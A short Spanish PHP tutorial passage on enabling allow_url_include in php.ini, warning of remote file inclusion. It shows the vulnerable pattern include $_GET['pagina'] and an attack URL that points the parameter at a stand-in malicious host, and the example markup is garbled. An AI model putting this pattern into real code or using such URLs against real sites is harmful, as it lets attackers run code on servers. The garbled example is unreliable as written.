La opción que permite incluir una url externa (es decir absoluta, del tipo
http://site.tld/url) mediante la función include, está deshabilitada por defecto en la versión 5 y posteriores de PHP. Para habilitarla, en tu servidor pon estas dos líneas en el fichero php.ini.
allow_url_include = 1
allow_url_fopen = 1
Para mayor información, ver
Aquí
IMPORTANTE: Sin embargo, es muy peligroso habilitar la opción allow_url_include. En ciertos casos, puede ocasionar graves fallas de seguridad si el desarrollador es negligente.
Veamos un ejemplo simple, supongamos que tienes un script PHP que incluye una página en función de lo que se le da como argumentos vía la URL.
Es decir que tecleando
http://tusitio.flet/mipagina.php?page=pagina_a_incluir.php vas a incluir la página “pagina_a_incluir.php”
Si tu código se parece a esto: include $_GET['pagina']; entonces estarás dejando la puerta abierta para que cualquiera añada código externo. Es así que nada impide que yo pueda incluir una página:
href= <a href='http://sitiomalicioso.prout/paginamaliciosa.php'' target='_blank'>
http://sitiomalicioso.prout/paginamaliciosa.php'</a> target='_blank' rel='nofollow'>
http://tusitio.flet/mipagina.php?http://sitiomalicioso.prout/paginamaliciosa.php</a>
Por lo tanto hay que estar atentos si habilitamos esta opción.
El
artículo original fue escrito por aruju, contribuidor de
CommentCaMarche